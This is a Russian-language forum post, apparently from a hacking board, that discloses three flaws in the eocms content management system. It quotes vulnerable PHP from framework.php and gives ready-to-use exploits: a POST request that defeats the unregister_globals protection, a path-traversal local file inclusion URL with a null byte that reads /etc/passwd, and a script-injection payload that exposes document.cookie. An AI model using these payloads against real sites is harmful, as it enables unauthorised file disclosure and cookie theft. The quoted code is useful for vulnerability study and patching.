Вот ещё чуть:
---------------------------------------
Бага: обход unregister_globals и раскрытие пути
Условия: register_globals = ON
>> framework.php
PHP код:
function unregister_globals(){
#checks if register globals is on
if (!ini_get('register_globals')){
return false;
}
foreach (func_get_args() as $name){
foreach ($GLOBALS[$name] as $key=>$value){
if (isset($GLOBALS[$key])) {
unset($GLOBALS[$key]);
}
}
}
}
unregister_globals('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', '_SESSION');
В результате все перменные посланные данными методами удаляются из GLOBALS;
Но если сделать запрос:
Код:
POST /index.php?antichat=test HTTP/1.1
Host: eocms
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
_GET=this del&_REQUEST=this del
Функция unregister_globals сначало удалит, масив _GET, потом _REQUEST, а переменная antichat будет жить)
-------------------------------
Бага: LFI
Условия: magic_quites = Off
>> framework.php
PHP код:
if(isset($_GET['theme']) && file_exists('themes/'.$_GET['theme'].'/theme-info.php'))
$settings['site_theme'] = $_GET['theme'];
~~~~~~~~~~~~~~~~~~~~
function theme() {
global $user, $settings;
$arg = func_get_args();
$num = func_num_args();
if(file_exists('themes/' . $settings['site_theme'] . '/functions/'.$arg[0].'.php'))
include_once IN_PATH.'themes/' . $settings['site_theme'] . '/functions/'.$arg[0].'.php';
Этот код выполняется до того как переменные обрабатываются через addslashes
exploit:
http://eocms/index.php?theme=../../../../../../../etc/passwd%00
------------------------------
Бага: XSS
Условия: register_globals = ON
exploit:
Код:
POST /index.php?error_die[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
Host: eocms
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
_GET=this del&_REQUEST=this del